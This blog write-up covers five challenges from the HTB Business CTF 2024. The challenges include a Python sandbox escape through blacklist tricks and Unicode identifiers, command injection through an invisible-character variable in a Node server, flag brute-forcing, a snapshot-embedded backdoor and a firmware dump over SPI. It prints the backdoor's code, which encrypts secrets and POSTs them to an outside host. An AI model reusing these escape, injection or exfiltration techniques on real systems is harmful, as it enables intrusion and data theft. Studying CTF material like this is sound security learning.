HTB Business CTF 2024: The Vault of Hope

Nikos Titomichelakis
9 min readMay 24, 2024

--

#HTB Business CTF 2024

Recently I took part with my company to the HTB Business CTF 2024. Although it sure has been a while since I participated in a CTF and the competition took place in business days, I managed to solve some of the challenges, most on the easier side. Below you can find the writeups for all of them.

  1. Locked Away — Misc (Easy)
    Description: A test! Getting onto the team is one thing, but you must prove your skills to be chosen to represent the best of the best. They have given you the classic — a restricted environment, devoid of functionality, and it is up to you to see what you can do. Can you break open the chest? Do you have what it takes to bring humanity from the brink?
    Analysis: We got a python script, with a fairly easy code:
# provided python script

Basically, we get asked by the program to provide a string which will then be executed. Our goal is to reach open_chest and get the flag.
Solution: There are 2 easy to spot solutions. The first one, is to empty the blacklist array, so it contains no banned words and then call open_chest. This cannot be done though with:

blacklist = []

As both ‘[‘ and ‘]’ are in the blacklist. The easy solution? Call blacklist.clear(). This will empty the array and then we can call open_chest with no issues. The second solution, which I found more creative, was to take advantage of the fact that we can iterate over a string in Python. But we cannot simply do:

blacklist = ''

As the quotes are also banned. But, the creator of the challenge is kind enough to provide us with a string variable. The banner. So we can simply do:

blacklist = banner
blacklist = ''
open_chest()
#getting the flag for lockedf_away challenge

P.S. I had to include one genius solution that was posted on htb’s discord by @Nissen1337. Is based on the fact that python tries to normalise unicode identifiers. So we can simply use lingojam.com, to write open_chest on whatever font we want and it won’t trigger the checks in place. e.g. 𝖔𝖕𝖊𝖓_𝖈𝖍𝖊𝖘𝖙()

2. Hidden Path — Misc(Easy)
Description
: Legends speak of the infamous Kamara-Heto, a black-hat hacker of old who rose to fame as they brought entire countries to their knees. Opinions are divided over whether the fabled figure truly existed, but the success of the team surely lies in the hope that they did, for the location of the lost vault is only known to be held on what remains of the NSA’s data centres. You have extracted the source code of a system check-up endpoint — can you find a way in? And was Kamara-Heto ever there?

Analysis: In this challenge we are presented with a simple webpage which can make requests to a node server. The webpage is fairly simple, 5 radio-style choices to choose from and a button to send the request to the only post-available endpoint, /server_status.

We are also given the source code:

# node server source code

The idea is simple, as we only have 2 endpoints to play with, we need to find a vulnerability that can give us Remote Code Execution (RCE).

Solution: In the image above, you can see 2 highlighted spaces that stand out. Also, it’s weird that in a node array we add a comma after the last item in the array. Well, that highlighted space is an invisible character, also known as U+3164. I got lucky here cause I had highlighting turned on for invisible characters in my vscode setup and spotted this quickly. We can see now that the array length is 7. But we can only send a choice numbered 0–5 from the FE. So let’s try Postman:

# custom post request via postman

So we get a socket hang up. So no what? Well if you paid attention to the source code, we have that invisible character appearing twice. The first time is assigned the value of the corresponding body param. So the trick is to use that invisible character along with the choice param to pass in a new command in the list. As the character appears twice, node will handle it as a variable name. So now, we can manipulate the 7th element of the array to our choosing. Let’s try a simple ls first:

# request with the second argument key being the invisible character

It works! Now for the flag:

# getting the flag with a simple cat command

And just like that, we got our second flag.

3. FlagCasino — Reversing(Very Easy)

Description: The team stumbles into a long-abandoned casino. As you enter, the lights and music whir to life, and a staff of robots begin moving around and offering games, while skeletons of prewar patrons are slumped at slot machines. A robotic dealer waves you over and promises great wealth if you can win — can you beat the house and gather funds for the mission?

Analysis: In this challenge, we were given a binary that contained the flag and we needed a way to extract it (obviously!). Let’s run file on the binary:

Dynamically linked and not stripped. Nice. Strings did not provide anything useful though. Let’s decompile it with the help of ghidra:

The first useful info is that the flag probably is 0x1c chars long or 28 in decimal. The other useful thing is that we execute a srand before a rand on the character we give to the scanf, which can make things a little predictable. So we need to reverse that calculation to uncover the flag. Or do we?

Solution: Thinking a bit outside of the box here. If that function does what we think, then it should continue accepting characters if they are part of the flag in the correct order. We know that the flag starts with HTB{. So let’s try that:

# trying bruteforcing the flag

Let’s be sure it wasn’t a fluke:

# trying bruteforcing the flag

Our assumption is correct. Let’s write a script that bruteforces the flag. After a bit of trial and error, I came up with this simple and really slow script:

This script, practically spawns a process, and for every char in the flag, it tries all possible characters in the ascii table between space and ~. That means all symbols, lower and uppercase english characters. If the response we get is that the character is correct the response will end in “> “, if not the process will terminate. If we were wrong we start over, by passing to the input all the previously found correct characters first and then start guessing again. We keep track of all the correct characters in the flag array. The output of the script looks like this:

# script in action

So, after about 10 minutes, the flag was bruteforced: HTB{r4nd_1s_v3ry_pr3d1ct4bl3}. This was maybe my favourite reverse challenge in a while.

4.SnappedShut — Reversing(Easy)

Description: The team enters Vault 266, attempting to meet with a mysterious contact who has offered them help. However, as they cross the threshold the doorway snaps shut behind them and the lights dim. Using only your power armor’s camera for light, you locate a panel on the wall. You recognize the brand as one infamous for a massive supply chain backdoor many years ago. Can you discover the backdoor and escape?

Analysis: We are given a node server source code, with a snapshot.blob file included. We need to extract the information of the database that is included in the blob file. The server source looks like this:

node server soruce code

Nothing really important here. Maybe we need to look more carefully in the blob file.

Solution: If we run strings on the blob file, we get a lot of gibberish along with a small code snippet:

snapshot.blob code snippet

This part is interesting:

const crypto = require('crypto');
const key = Buffer.from([72,84,66,123,98,52,99,107,100,48,48,114,95,49,110,95,121,48,117,114,95,115,110,52,112,115,104,48,55,33,33,125], 'utf-8');
const cipher = crypto.createCipheriv('aes-256-cbc', key, Buffer.alloc(16));
let enc = cipher.update(JSON.stringify(secret), 'utf-8', 'base64');
enc += cipher.final('base64');
fetch("http://0l-xmarket.0merch-andise.htb", {
mode: 'no-cors',
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({"secrets": enc})
})

So, we create a key from some bytes to encrypt… something.
Let’s see what that key is, shall we?

# bytes() is your frined

Well, would you look at that. We got another flag: HTB{b4ckd00r_1n_y0ur_sn4psh07!!}

5. Say Cheese! — Hardware(easy)

Description: The crew’s humanitarian mission attracts the ire of the Enclave, who deploys drones to monitor their efforts. In a stroke of luck, the crew manages to shoot down one of the drones. Seizing the opportunity, they bring the drone back to their workshop and carefully disassemble it. The drone’s components are numerous, but the camera stands out as it is a seperate module. Scanning the camera with Nmap reveals it runs Telnet, though it’s password-protected. Analyzing the chips, they identify a flash memory similar to the W25Q128 family. The crew’s tech specialist examines the device closely. The goal: to hijack the drones and thwart the Enclave’s surveillance and attacks.

Analysis: We are given a python script that connects to a remote server instance. The source code is the following:

# python script source code

Basically, we connect to a htb server, we expect some data to be sent, based on the command we pass to the exchange function, and we print the data we received. W25Q128FV is a 128M-bit Serial Flash Memory according to google. We can easily find its datasheet which includes some usefull info.

# flash memory datasheet

All the flash memory size is 16MB. In another page we can find some info about the 0x9F command we originally send:

So, this command returns the JEDEC ID, whatever that is. Let’s keep digging:

# read data command

We also get a read data command. Nice.

Solution: Let’s try running the script with what info we have. We can change the command we send to read data, increase the bytes we receive and print the output like so:

data = exchange([0x03], 256)
print(bytes(data))

This is what we got back:

b"'\x05\x19VV,\x89\xcafD\xa1*\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\xe8\x9a\x0b\xad\x05\x05\x05\x00jz_fw\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00'\x05\x19VoYH\xf4^\xcc\xa3;\x00\x1d\x1a\x9d\x80\x01\x00\x00\x80B\x18p
\xd8\xfc\xdd\xfa\x05\x05\x02\x03Linux-3.10.14\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00]\x00\x00\x00\x02\xff\xff
\xff\xff\xff\xff\xff\xff\x00\x00o\xfd\xff\xff\xa3\xb7\x7f\x86<\x98\xf6q
\xe0R\x8cZ\xf1\xe5\x03\xff'\x8a)\xd71<\xd7;H\x95q\x9b\x81- Z=x\x10\xdc
\x18@K\x0f\xd4\x83\x83Op\xbd\x07\xde\x830{SD\x9e\xb9\x17H\xaed\x89[2\xac
\xdd:\xf8O\xb2\xf0\xa9\xd95j\tAbm{\xdb>\xbf\xdco\x92IQ\x10:\x0e\xbd\x1f
\x0c\xc6\xd7\xffy\xcd\xee\x01\xdcn\xa5!\x906\xab\xf3(\x8d"

This may seem gibberish at first, but pay closer attention. Between the bytes we see: Linux-3.10.14 . So this is part of the firmware!! We know from the datasheet the firmware is 16MB, so let’s dump it. We change the bytes we want to receive to:

data = exchange([0x03], 16000000)
with open("foo.bin", "wb") as f:
f.write(bytes(data))

After 5 minutes, the firmware was dumped. Let’s run binwalk on it:

# binwalk on dumped firmware file

Okay, this is for sure a firmware. Let’s extract it with binwalk -e foo.bin:

# extracted firmware file

We got a complete file system. Now we can search by hand for a file that has the flag in it, or we can be somewhat smart, as we know how the flag looks like (HTB{}):

By running grep recursively to every folder and file, we easily find the flag in squashfs-root/etc/init.d/rcS file:

# HTB{SPI_t0_b4ckd00r1ng_4_cam3r4_ismart12}

The file also includes a reference to a video directly related with this challenge, as a bonus. Enjoy: https://www.youtube.com/watch?v=hV8W4o-Mu2o

Conclusion

All in all, the CTF was a blast even though half of it took place on business days. Looking forward to the next year’s. If you want to give the challenges a try, you can find all of them here. Thanks for reading.

--

--

Nikos Titomichelakis
Nikos Titomichelakis

Written by Nikos Titomichelakis

Software Engineer and security enthusiast.

No responses yet